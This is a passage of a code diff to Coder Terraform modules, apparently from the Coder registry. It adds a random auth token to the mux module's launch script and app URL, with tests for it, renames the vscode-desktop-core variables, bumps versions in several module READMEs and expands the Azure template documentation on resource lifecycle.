version = "1.0.8"
version = "1.1.0"
agent_id = coder_agent.main.id
install = false
}

View File

@ -7,6 +7,10 @@ terraform {
source = "coder/coder"
version = ">= 2.5"
}
random = {
source = "hashicorp/random"
version = ">= 3.0"
}
}
}
@ -113,6 +117,22 @@ variable "open_in" {
}
}
# Per-module auth token for cross-site request protection.
# We pass this token into each mux process at launch time (process-scoped env)
# and include it in the app URL query string (?token=...).
#
# Why process-scoped env instead of a shared coder_env value:
# multiple mux module instances can target the same agent (different slug/port).
# A single global MUX_SERVER_AUTH_TOKEN env key would cause collisions.
resource "random_password" "mux_auth_token" {
length = 64
special = false
}
locals {
mux_auth_token = random_password.mux_auth_token.result
}
resource "coder_script" "mux" {
agent_id = var.agent_id
display_name = var.display_name
@ -125,6 +145,7 @@ resource "coder_script" "mux" {
INSTALL_PREFIX : var.install_prefix,
OFFLINE : !var.install,
USE_CACHED : var.use_cached,
AUTH_TOKEN : local.mux_auth_token,
})
run_on_start = true
@ -140,7 +161,7 @@ resource "coder_app" "mux" {
agent_id = var.agent_id
slug = var.slug
display_name = var.display_name
url = "http://localhost:${var.port}"
url = "http://localhost:${var.port}?token=${local.mux_auth_token}"
icon = "/icon/mux.svg"
subdomain = var.subdomain
share = var.share
@ -154,5 +175,3 @@ resource "coder_app" "mux" {
threshold = 6
}
}

View File

@ -20,8 +20,10 @@ run "install_false_and_use_cached_conflict" {
]
}
# Needs command = apply because the URL contains random_password.result,
# which is unknown during plan.
run "custom_port" {
command = plan
command = apply
variables {
agent_id = "foo"
@ -29,8 +31,51 @@ run "custom_port" {
}
assert {
condition = resource.coder_app.mux.url == "http://localhost:8080"
error_message = "coder_app URL must use the configured port"
condition = startswith(resource.coder_app.mux.url, "http://localhost:8080?token=")
error_message = "coder_app URL must use the configured port and include auth token"
}
assert {
condition = trimprefix(resource.coder_app.mux.url, "http://localhost:8080?token=") == random_password.mux_auth_token.result
error_message = "URL token must match the generated auth token"
}
}
# Needs command = apply because random_password.result is unknown during plan.
run "auth_token_in_server_script" {
command = apply
variables {
agent_id = "foo"
}
assert {
condition = strcontains(resource.coder_script.mux.script, "MUX_SERVER_AUTH_TOKEN=")
error_message = "mux launch script must set MUX_SERVER_AUTH_TOKEN"
}
assert {
condition = strcontains(resource.coder_script.mux.script, random_password.mux_auth_token.result)
error_message = "mux launch script must use the generated auth token"
}
}
# Needs command = apply because random_password.result is unknown during plan.
run "auth_token_in_url" {
command = apply
variables {
agent_id = "foo"
}
assert {
condition = startswith(resource.coder_app.mux.url, "http://localhost:4000?token=")
error_message = "coder_app URL must include auth token query parameter"
}
assert {
condition = trimprefix(resource.coder_app.mux.url, "http://localhost:4000?token=") == random_password.mux_auth_token.result
error_message = "URL token must match the generated auth token"
}
}
@ -62,5 +107,3 @@ run "use_cached_only_success" {
use_cached = true
}
}

View File

@ -9,7 +9,9 @@ function run_mux() {
rm -f "$HOME/.mux/server.lock"
local port_value
local auth_token_value
port_value="${PORT}"
auth_token_value="${AUTH_TOKEN}"
if [ -z "$port_value" ]; then
port_value="4000"
fi
@ -20,7 +22,7 @@ function run_mux() {
fi
echo "🚀 Starting mux server on port $port_value..."
echo "Check logs at ${LOG_PATH}!"
PORT="$port_value" "$MUX_BINARY" "$@" > "${LOG_PATH}" 2>&1 &
MUX_SERVER_AUTH_TOKEN="$auth_token_value" PORT="$port_value" "$MUX_BINARY" "$@" > "${LOG_PATH}" 2>&1 &
}
# Check if mux is already installed for offline mode

View File

@ -16,15 +16,15 @@ The VSCode Desktop Core module is a building block for modules that need to expo
```tf
module "vscode-desktop-core" {
source = "registry.coder.com/coder/vscode-desktop-core/coder"
version = "1.0.1"
version = "1.0.2"
agent_id = var.agent_id
web_app_icon = "/icon/code.svg"
web_app_slug = "vscode"
web_app_display_name = "VS Code Desktop"
web_app_order = var.order
web_app_group = var.group
coder_app_icon = "/icon/code.svg"
coder_app_slug = "vscode"
coder_app_display_name = "VS Code Desktop"
coder_app_order = var.order
coder_app_group = var.group
folder = var.folder
open_recent = var.open_recent

View File

@ -11,9 +11,9 @@ const appName = "vscode-desktop";
const defaultVariables = {
agent_id: "foo",
web_app_icon: "/icon/code.svg",
web_app_slug: "vscode",
web_app_display_name: "VS Code Desktop",
coder_app_icon: "/icon/code.svg",
coder_app_slug: "vscode",
coder_app_display_name: "VS Code Desktop",
protocol: "vscode",
};
@ -99,16 +99,16 @@ describe("vscode-desktop-core", async () => {
);
expect(coder_app?.instances[0].attributes.slug).toBe(
defaultVariables.web_app_slug,
defaultVariables.coder_app_slug,
);
expect(coder_app?.instances[0].attributes.display_name).toBe(
defaultVariables.web_app_display_name,
defaultVariables.coder_app_display_name,
);
});
it("sets order", async () => {
const state = await runTerraformApply(import.meta.dir, {
web_app_order: "5",
coder_app_order: "5",
...defaultVariables,
});
@ -122,7 +122,7 @@ describe("vscode-desktop-core", async () => {
it("sets group", async () => {
const state = await runTerraformApply(import.meta.dir, {
web_app_group: "web-app-group",
coder_app_group: "web-app-group",
...defaultVariables,
});

View File

@ -31,28 +31,28 @@ variable "protocol" {
description = "The URI protocol the IDE."
}
variable "web_app_icon" {
variable "coder_app_icon" {
type = string
description = "The icon of the coder_app."
}
variable "web_app_slug" {
variable "coder_app_slug" {
type = string
description = "The slug of the coder_app."
}
variable "web_app_display_name" {
variable "coder_app_display_name" {
type = string
description = "The display name of the coder_app."
}
variable "web_app_order" {
variable "coder_app_order" {
type = number
description = "The order of the coder_app."
default = null
}
variable "web_app_group" {
variable "coder_app_group" {
type = string
description = "The group of the coder_app."
default = null
@ -65,12 +65,12 @@ resource "coder_app" "vscode-desktop" {
agent_id = var.agent_id
external = true
icon = var.web_app_icon
slug = var.web_app_slug
display_name = var.web_app_display_name
icon = var.coder_app_icon
slug = var.coder_app_slug
display_name = var.coder_app_display_name
order = var.web_app_order
group = var.web_app_group
order = var.coder_app_order
group = var.coder_app_group
url = join("", [
var.protocol,

View File

@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
module "vscode" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/vscode-desktop/coder"
version = "1.2.0"
version = "1.2.1"
agent_id = coder_agent.main.id
}
```
@ -29,7 +29,7 @@ module "vscode" {
module "vscode" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/vscode-desktop/coder"
version = "1.2.0"
version = "1.2.1"
agent_id = coder_agent.main.id
folder = "/home/coder/project"
}

View File

@ -40,7 +40,7 @@ variable "group" {
module "vscode-desktop-core" {
source = "registry.coder.com/coder/vscode-desktop-core/coder"
version = "1.0.0"
version = "1.0.2"
agent_id = var.agent_id

View File

@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
module "windsurf" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/windsurf/coder"
version = "1.3.0"
version = "1.3.1"
agent_id = coder_agent.main.id
}
```
@ -29,7 +29,7 @@ module "windsurf" {
module "windsurf" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/windsurf/coder"
version = "1.3.0"
version = "1.3.1"
agent_id = coder_agent.main.id
folder = "/home/coder/project"
}
@ -45,7 +45,7 @@ The following example configures Windsurf to use the GitHub MCP server with auth
module "windsurf" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/windsurf/coder"
version = "1.3.0"
version = "1.3.1"
agent_id = coder_agent.main.id
folder = "/home/coder/project"
mcp = jsonencode({

View File

@ -65,7 +65,7 @@ locals {
module "vscode-desktop-core" {
source = "registry.coder.com/coder/vscode-desktop-core/coder"
version = "1.0.0"
version = "1.0.2"
agent_id = var.agent_id

View File

@ -27,8 +27,21 @@ This template provisions the following resources:
- Azure VM (ephemeral, deleted on stop)
- Managed disk (persistent, mounted to `/home/coder`)
- Resource group, virtual network, subnet, and network interface (persistent, required by the managed disk and VM)
This means, when the workspace restarts, any tools or files outside of the home directory are not persisted. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles.
### What happens on stop
When a workspace is **stopped**, only the VM is destroyed. The managed disk, resource group, virtual network, subnet, and network interface all persist. This is by design — the managed disk retains your `/home/coder` data across workspace restarts, and the other resources remain because the disk depends on them.
This means you will see these Azure resources in your subscription even when a workspace is stopped. This is expected behavior.
### What happens on delete
When a workspace is **deleted**, all resources are destroyed, including the resource group, networking resources, and managed disk.
### Workspace restarts
Since the VM is ephemeral, any tools or files outside of the home directory are not persisted across restarts. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles.
> [!NOTE]
> This template is designed to be a starting point! Edit the Terraform to extend the template to support your use case.

View File

@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
module "positron" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/cytoshahar/positron/coder"
version = "1.0.1"
version = "1.0.2"
agent_id = coder_agent.main.id
}
```
@ -29,7 +29,7 @@ module "positron" {
module "positron" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/cytoshahar/positron/coder"
version = "1.0.1"
version = "1.0.2"
agent_id = coder_agent.main.id
folder = "/home/coder/project"
}

View File

@ -41,13 +41,13 @@ variable "group" {
variable "slug" {
type = string
description = "The slug of the app."
default = "cursor"
default = "positron"
}
variable "display_name" {
type = string
description = "The display name of the app."
default = "Cursor Desktop"
default = "Positron Desktop"
}
data "coder_workspace" "me" {}
@ -55,7 +55,7 @@ data "coder_workspace_owner" "me" {}
module "vscode-desktop-core" {
source = "registry.coder.com/coder/vscode-desktop-core/coder"
version = "1.0.0"
version = "1.0.2"
agent_id = var.agent_id